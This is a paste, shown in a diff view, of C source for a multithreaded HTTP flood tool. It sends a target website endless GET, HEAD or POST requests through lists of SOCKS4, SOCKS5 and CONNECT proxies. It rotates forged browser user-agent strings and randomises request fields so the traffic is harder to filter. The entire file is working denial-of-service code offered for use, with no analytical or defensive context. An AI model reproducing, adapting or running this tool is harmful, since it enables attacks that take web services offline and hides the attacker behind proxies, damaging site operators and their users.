View difference between Paste ID: 3nkB2NbS and sJURi2ST
SHOW: | | - or go back to the newest paste.
1
#include <pthread.h>
2
#include <sys/resource.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <signal.h>
8
#include <sys/socket.h>
9
#include <netinet/ip.h>
10
#include <netinet/tcp.h>
11
#include <netdb.h>
12
#include <netinet/in.h>
13
#include <ctype.h>
14
15
#define RND_CHAR (char)((rand() % 26)+97)
16
17
char *useragents[] = {
18
	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
19
	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0",
20
	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
21
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
22
	"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
23
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
24
	"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
25
	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
26
	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
27
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
28
	"Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
29
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )",
30
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12",
31
	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
32
	"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
33
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)",
34
	"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
35
	"Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  rekonq",
36
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4",
37
	"X-Smiles/1.2-20081113",
38
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991",
39
	"Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0",
40
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
41
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3",
42
	"LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)",
43
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3",
44
	"xine/1.1.16.3",
45
	"Bunjalloo/0.7.6(Nintendo DS;U;en)",
46
	"Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ",
47
	"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
48
	"MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3",
49
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
50
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
51
	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
52
	"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
53
	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
54
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
55
	"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
56
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
57
	"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
58
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
59
	"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
60
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
61
	"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
62
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
63
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
64
	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
65
	"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
66
};
67
#define ATTACKPORT 80
68
char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
69
char *postpayload;
70
struct urlparts {
71
	char * name;
72
	char separator[4];
73
	char value[128];
74
} parts[] = {
75
	{ "scheme", ":" },
76
	{ "userid", "@" },
77
	{ "password", ":" },
78
	{ "host", "//" },
79
	{ "port", ":" },
80
	{ "path", "/" },
81
	{ "param", ";" },
82
	/*{ "query", "?" },*/
83
	{ "fragment", "#" }
84
};
85
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
86
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
87
struct urlparts *returnparts[8];
88
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
89
struct proxy { char *type; char *ip; int port; int working; };
90
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
91
struct list *head = NULL;
92
char parseError[128];
93
int parseURL(char *url, struct urlparts **returnpart);
94
char * strsplit(char * s, char * tok);
95
char firstpunc(char *s);
96
int strleft(char * s, int n);
97
void setupparts();
98
void freeparts();
99
char *stristr(const char *String, const char *Pattern);
100
char *str_replace(char *orig, char *rep, char *with);
101
char *geturl(char *url, char *useragent, char *ip);
102
char *ipstr;
103
static int rps = 0;
104
105
void *flood(void *par) {
106
	struct list *startpoint = (struct list *)par;
107
	int i;
108
	struct sockaddr_in serverAddr;
109
	signal(SIGPIPE, SIG_IGN);
110
	while(1)
111
	{
112
		int sent = 0;
113
		if(startpoint->data->working == 0)
114
		{
115
			startpoint = startpoint->next;
116
			sleep(1);
117
			continue;
118
		}
119
		
120
		memset(&serverAddr, 0, sizeof(serverAddr));
121
		serverAddr.sin_family = AF_INET;
122
		serverAddr.sin_port = htons(startpoint->data->port);
123
		serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
124
		int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
125
		u_int yes=1;
126
		if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
127
		if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
128
		{
129
			startpoint->data->working = 0;
130
			startpoint = startpoint->next;
131
			continue;
132
		}
133
		if(strcmp(startpoint->data->type, "Socks4")==0)
134
		{
135
			unsigned char buf[10];
136
			buf[0] = 0x04;
137
			buf[1] = 0x01;
138
			*(unsigned short*)&buf[2] = htons(ATTACKPORT);
139
			*(unsigned long*)&buf[4] = inet_addr(ipstr);
140
			buf[8] = 0x00;
141
			if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
142
			{
143
				startpoint->data->working = 0;
144
				startpoint = startpoint->next;
145
				close(serverSocket);
146
				continue;
147
			}
148
		}
149
		if(strcmp(startpoint->data->type, "Socks5")==0)
150
		{
151
			unsigned char buf[20];
152
			buf[0] = 0x05;
153
			buf[1] = 0x01;
154
			buf[2] = 0x00;
155
			if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
156
			{
157
				startpoint->data->working = 0;
158
				startpoint = startpoint->next;
159
				close(serverSocket);
160
				continue;
161
			}
162
			buf[0] = 0x05;
163
			buf[1] = 0x01;
164
			buf[2] = 0x00;
165
			buf[3] = 0x01;
166
			*(unsigned long*)&buf[4] = inet_addr(ipstr);
167
			*(unsigned short*)&buf[8] = htons(ATTACKPORT);
168
			if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
169
			{
170
				startpoint->data->working = 0;
171
				startpoint = startpoint->next;
172
				close(serverSocket);
173
				continue;
174
			}
175
		}
176
		if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
177
		{
178
			char *connectrequest = malloc(1024);
179
			bzero(connectrequest, 1024);
180
			sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
181
			if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
182
			{
183
				startpoint->data->working = 0;
184
				startpoint = startpoint->next;
185
				close(serverSocket);
186
				continue;
187
			}
188
			char *recvbuf = malloc(1024);
189
			bzero(recvbuf, 1024);
190
			int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
191
			if(gotbytes < 1)
192
			{
193
				startpoint->data->working = 0;
194
				startpoint = startpoint->next;
195
				close(serverSocket);
196
				continue;
197
			}
198
			free(recvbuf);
199
		}
200
		char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
201
		if(httppayload == NULL)
202
		{
203
			startpoint = startpoint->next;
204
			close(serverSocket);
205
			continue;
206
		}
207
		char *tmp = NULL;
208
		while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
209
		{
210
			*(tmp) = RND_CHAR;
211
			*(tmp+1) = RND_CHAR;
212
			*(tmp+2) = RND_CHAR;
213
			*(tmp+3) = RND_CHAR;
214
			*(tmp+4) = RND_CHAR;
215
			*(tmp+5) = RND_CHAR;
216
			*(tmp+6) = RND_CHAR;
217
			*(tmp+7) = RND_CHAR;
218
		}
219
		send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
220
		free(httppayload);
221
		close(serverSocket);
222
		rps++;
223
		usleep(50000);
224
		//startpoint = startpoint->next;
225
	}
226
}
227
228
int main(int argc, char *argv[ ]) {
229
	if(argc < 6){
230
		fprintf(stderr, "Invalid parameters!\n");
231
		fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
232
		exit(-1);
233
	}
234
	//fprintf(stdout, "Setting up Sockets...\n");
235
	int num_threads = atoi(argv[3]);
236
	char *method = argv[2];
237
	if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
238
	{
239
		fprintf(stderr, "Invalid parameters!\n");
240
		fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
241
		exit(-1);
242
	}
243
	FILE *pFile = fopen(argv[4], "rb");
244
	if(pFile==NULL)
245
	{
246
		perror("fopen"); exit(1);
247
	}
248
	fseek(pFile, 0, SEEK_END);
249
	long lSize = ftell(pFile);
250
	rewind(pFile);
251
	char *buffer = (char *)malloc(lSize*sizeof(char));
252
	fread(buffer, 1, lSize, pFile);
253
	fclose (pFile);
254
	int i=0;
255
	char *pch = (char *)strtok(buffer, ":");
256
	while(pch != NULL)
257
	{
258
		if(head == NULL)
259
		{
260
			head = (struct list *)malloc(sizeof(struct list));
261
			bzero(head, sizeof(struct list));
262
			head->data = (struct proxy *)malloc(sizeof(struct proxy));
263
			bzero(head->data, sizeof(struct proxy));
264
			head->data->working = 1;
265
			head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
266
			pch = (char *)strtok(NULL, ":");
267
			if(pch == NULL) exit(-1);
268
			head->data->port = atoi(pch);
269
			pch = (char *)strtok(NULL, ":");
270
			head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
271
			pch = (char *)strtok(NULL, ":");
272
			head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
273
			head->next = head;
274
			head->prev = head;
275
		} else {
276
			struct list *new_node = (struct list *)malloc(sizeof(struct list));
277
			bzero(new_node, sizeof(struct list));
278
			new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
279
			bzero(new_node->data, sizeof(struct proxy));
280
			new_node->data->working = 1;
281
			new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
282
			pch = (char *)strtok(NULL, ":");
283
			if(pch == NULL) break;
284
			new_node->data->port = atoi(pch);
285
			pch = (char *)strtok(NULL, ":");
286
			new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
287
			pch = (char *)strtok(NULL, ":");
288
			new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
289
			new_node->prev = head;
290
			new_node->next = head->next;
291
			head->next = new_node;
292
		}
293
	}
294
	free(buffer);
295
	const rlim_t kOpenFD = 1024 + (num_threads * 2);
296
	struct rlimit rl;
297
	int result;
298
	rl.rlim_cur = kOpenFD;
299
	rl.rlim_max = kOpenFD;
300
	result = setrlimit(RLIMIT_NOFILE, &rl);
301
	if (result != 0)
302
	{
303
		perror("setrlimit");
304
		fprintf(stderr, "setrlimit returned result = %d\n", result);
305
	}
306
	bzero(&rl, sizeof(struct rlimit));
307
	rl.rlim_cur = 256 * 1024;
308
	rl.rlim_max = 4096 * 1024;
309
	result = setrlimit(RLIMIT_STACK, &rl);
310
	if (result != 0)
311
	{
312
		perror("setrlimit_stack");
313
		fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
314
	}
315
	setupparts();
316
	parseURL(argv[1], returnparts);
317
	if(argc > 6 && !(strcmp(argv[6], "0") == 0))
318
	{
319
		ipstr = malloc(strlen(argv[6])+1);
320
		bzero(ipstr, strlen(argv[6])+1);
321
		strcpy(ipstr, argv[6]);
322
		//fprintf(stdout, "Using manual IP...\n");
323
	} else {
324
		struct hostent *he;
325
		struct in_addr a;
326
		he = gethostbyname(returnparts[host]->value);
327
		if (he)
328
		{
329
			while (*he->h_addr_list)
330
			{
331
				bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
332
				ipstr = malloc(INET_ADDRSTRLEN+1);
333
				inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
334
				break;
335
			}
336
		}
337
		else
338
		{ herror("gethostbyname"); }
339
	}
340
	char *postdata = malloc(1);
341
	bzero(postdata, 1);
342
	char *extrahead = malloc(1);
343
	bzero(extrahead, 1);
344
	if(argc > 7)
345
	{
346
		//fprintf(stdout, "Using post parameters\n");
347
		postdata = argv[7];
348
		extrahead = malloc(4096);
349
		bzero(extrahead, 4096);
350
		sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
351
	}
352
	pthread_t thread[num_threads];
353
	postpayload = malloc(4096);
354
	sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
355
	freeparts();
356
	
357
	//fprintf(stdout, "Starting Flood...\n");
358
	
359
	for(i = 0;i<num_threads;i++){
360
		pthread_create(&thread[i], NULL, &flood, (void *)head);
361
		pthread_detach(thread[i]);
362
		head = head->next;
363
		head = head->next;
364
                head = head->next;
365
                head = head->next;
366
		head = head->next;
367
	}
368
	
369
	int temp = atoi(argv[5]);
370
	
371
	for(i = 0;i<temp;i++)
372
	{
373
		sleep(1);
374
		//printf("R/s: %d\n", rps);
375
		//rps = 0;
376
	}
377
	return 0;
378
}
379
void freeparts()
380
{
381
	return;
382
	if(returnparts[0]!=NULL) { free(returnparts[0]); }
383
	if(returnparts[1]!=NULL) { free(returnparts[1]); }
384
	if(returnparts[2]!=NULL) { free(returnparts[2]); }
385
	if(returnparts[3]!=NULL) { free(returnparts[3]); }
386
	if(returnparts[4]!=NULL) { free(returnparts[4]); }
387
	if(returnparts[5]!=NULL) { free(returnparts[5]); }
388
	if(returnparts[6]!=NULL) { free(returnparts[6]); }
389
	if(returnparts[7]!=NULL) { free(returnparts[7]); }
390
	/*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
391
	return;
392
}
393
void setupparts()
394
{
395
	returnparts[0] = malloc(sizeof(struct urlparts));
396
	returnparts[1] = malloc(sizeof(struct urlparts));
397
	returnparts[2] = malloc(sizeof(struct urlparts));
398
	returnparts[3] = malloc(sizeof(struct urlparts));
399
	returnparts[4] = malloc(sizeof(struct urlparts));
400
	returnparts[5] = malloc(sizeof(struct urlparts));
401
	returnparts[6] = malloc(sizeof(struct urlparts));
402
	returnparts[7] = malloc(sizeof(struct urlparts));
403
	/*returnparts[8] = malloc(sizeof(struct urlparts));*/
404
	bzero(returnparts[0], sizeof(struct urlparts));
405
	bzero(returnparts[1], sizeof(struct urlparts));
406
	bzero(returnparts[2], sizeof(struct urlparts));
407
	bzero(returnparts[3], sizeof(struct urlparts));
408
	bzero(returnparts[4], sizeof(struct urlparts));
409
	bzero(returnparts[5], sizeof(struct urlparts));
410
	bzero(returnparts[6], sizeof(struct urlparts));
411
	bzero(returnparts[7], sizeof(struct urlparts));
412
	/*bzero(returnparts[8], sizeof(struct urlparts));*/
413
	returnparts[0]->name = "scheme";
414
	strcpy(returnparts[0]->separator, ":");
415
	returnparts[1]->name = "userid";
416
	strcpy(returnparts[1]->separator, "@");
417
	returnparts[2]->name = "password";
418
	strcpy(returnparts[2]->separator, ":");
419
	returnparts[3]->name = "host";
420
	strcpy(returnparts[3]->separator, "//");
421
	returnparts[4]->name = "port";
422
	strcpy(returnparts[4]->separator, ":");
423
	returnparts[5]->name = "path";
424
	strcpy(returnparts[5]->separator, "/");
425
	returnparts[6]->name = "param";
426
	strcpy(returnparts[6]->separator, ";");
427
	/*returnparts[7]->name = "query";
428
	strcpy(returnparts[7]->separator, "?");*/
429
	returnparts[7]->name = "fragment";
430
	strcpy(returnparts[7]->separator, "#");
431
	return;
432
}
433
int parseURL(char *url, struct urlparts **returnpart) {
434
	register i;
435
	int seplen;
436
	char * remainder;
437
	//char * regall = ":/;?#";
438
	char * regall = ":/;#";
439
	//char * regpath = ":;?#";
440
	char * regpath = ":;#";
441
	char * regx;
442
	if(!*url)
443
	{
444
		strcpy(parseError, "nothing to do!\n");
445
		return 0;
446
	}
447
	if((remainder = malloc(strlen(url) + 1)) == NULL)
448
	{
449
		printf("cannot allocate memory\n");
450
		exit(-1);
451
	}
452
	strcpy(remainder, url);
453
	if(firstpunc(remainder) == ':')
454
	{
455
		strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
456
		strleft(remainder, 1);
457
	}
458
	if (!strcmp(returnpart[scheme]->value, "mailto"))
459
	*(returnpart[host]->separator) = 0;
460
	for(i = 0; i < NUMPARTS; i++)
461
	{
462
		if(!*remainder)
463
		break;
464
		if(i == scheme || i == userid || i == password)
465
		continue;
466
		if(i == host && strchr(remainder, '@'))
467
		{
468
			if(!strncmp(remainder, "//", 2))
469
			strleft(remainder, 2);
470
			strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
471
			strleft(remainder, 1);
472
			if(strchr(remainder, '@'))
473
			{
474
				strcpy(returnpart[password]->value, strsplit(remainder, "@"));
475
				strleft(remainder, 1);
476
			}
477
			*(returnpart[host]->separator) = 0;
478
		}
479
		if(i == path && (! *(returnpart[scheme]->value)))
480
		{
481
			*(returnpart[path]->separator) = 0;
482
			strcpy(returnpart[scheme]->value, "http");
483
		}
484
		regx = (i == path) ? regpath : regall ;
485
		seplen = strlen(returnpart[i]->separator);
486
		if(strncmp(remainder, returnpart[i]->separator, seplen))
487
		continue;
488
		else
489
		strleft(remainder, seplen);
490
		strcpy(returnpart[i]->value, strsplit(remainder, regx));
491
	}
492
	if(*remainder)
493
	sprintf(parseError, "I don't understand '%s'", remainder);
494
	free(remainder);
495
	return 0;
496
}
497
char *str_replace(char *orig, char *rep, char *with) {
498
	char *result; 
499
	char *ins;    
500
	char *tmp;    
501
	int len_rep;  
502
	int len_with; 
503
	int len_front; 
504
	int count;    
505
	if (!orig)
506
	return NULL;
507
	if (!rep || !(len_rep = strlen(rep)))
508
	return NULL;
509
	if (!(ins = strstr(orig, rep)))
510
	return NULL;
511
	if (!with)
512
	with = "";
513
	len_with = strlen(with);
514
	for (count = 0; tmp = strstr(ins, rep); ++count) {
515
		ins = tmp + len_rep;
516
	}
517
	tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
518
	if (!result)
519
	return NULL;
520
	while (count--) {
521
		ins = strstr(orig, rep);
522
		len_front = ins - orig;
523
		tmp = strncpy(tmp, orig, len_front) + len_front;
524
		tmp = strcpy(tmp, with) + len_with;
525
		orig += len_front + len_rep; 
526
	}
527
	strcpy(tmp, orig);
528
	return result;
529
}
530
char *stristr(const char *String, const char *Pattern)
531
{
532
	char *pptr, *sptr, *start;
533
	uint slen, plen;
534
	for (start = (char *)String,
535
	pptr = (char *)Pattern,
536
	slen = strlen(String),
537
	plen = strlen(Pattern);
538
	slen >= plen;
539
	start++, slen--)
540
	{
541
		
542
		while (toupper(*start) != toupper(*Pattern))
543
		{
544
			start++;
545
			slen--;
546
			
547
			if (slen < plen)
548
			return(NULL);
549
		}
550
		sptr = start;
551
		pptr = (char *)Pattern;
552
		while (toupper(*sptr) == toupper(*pptr))
553
		{
554
			sptr++;
555
			pptr++;
556
			
557
			if ('\0' == *pptr)
558
			return (start);
559
		}
560
	}
561
	return(NULL);
562
}
563
char * strsplit(char * s, char * tok) {
564
#define OUTLEN (255)
565
	register i, j;
566
	static char out[OUTLEN + 1];
567
	for(i = 0; s[i] && i < OUTLEN; i++)
568
	{
569
		if(strchr(tok, s[i]))
570
		break;
571
		else
572
		out[i] = s[i];
573
	}
574
	out[i] = 0;
575
	if(i && s[i])
576
	{
577
		for(j = 0; s[i]; i++, j++) s[j] = s[i];
578
		s[j] = 0;
579
	}
580
	else if (!s[i])
581
	*s = 0;
582
	return out;
583
}
584
char firstpunc(char * s) {
585
	while(*s++)
586
	if(!isalnum(*s)) return *s;
587
	return 0;
588
}
589
int strleft(char * s, int n) {
590
	int l;
591
	l = strlen(s);
592
	if(l < n)
593
	return -1;
594
	else if (l == n)
595
	*s = 0;
596
	memmove(s, s + n, l - n + 1);
597
	return n;
598
}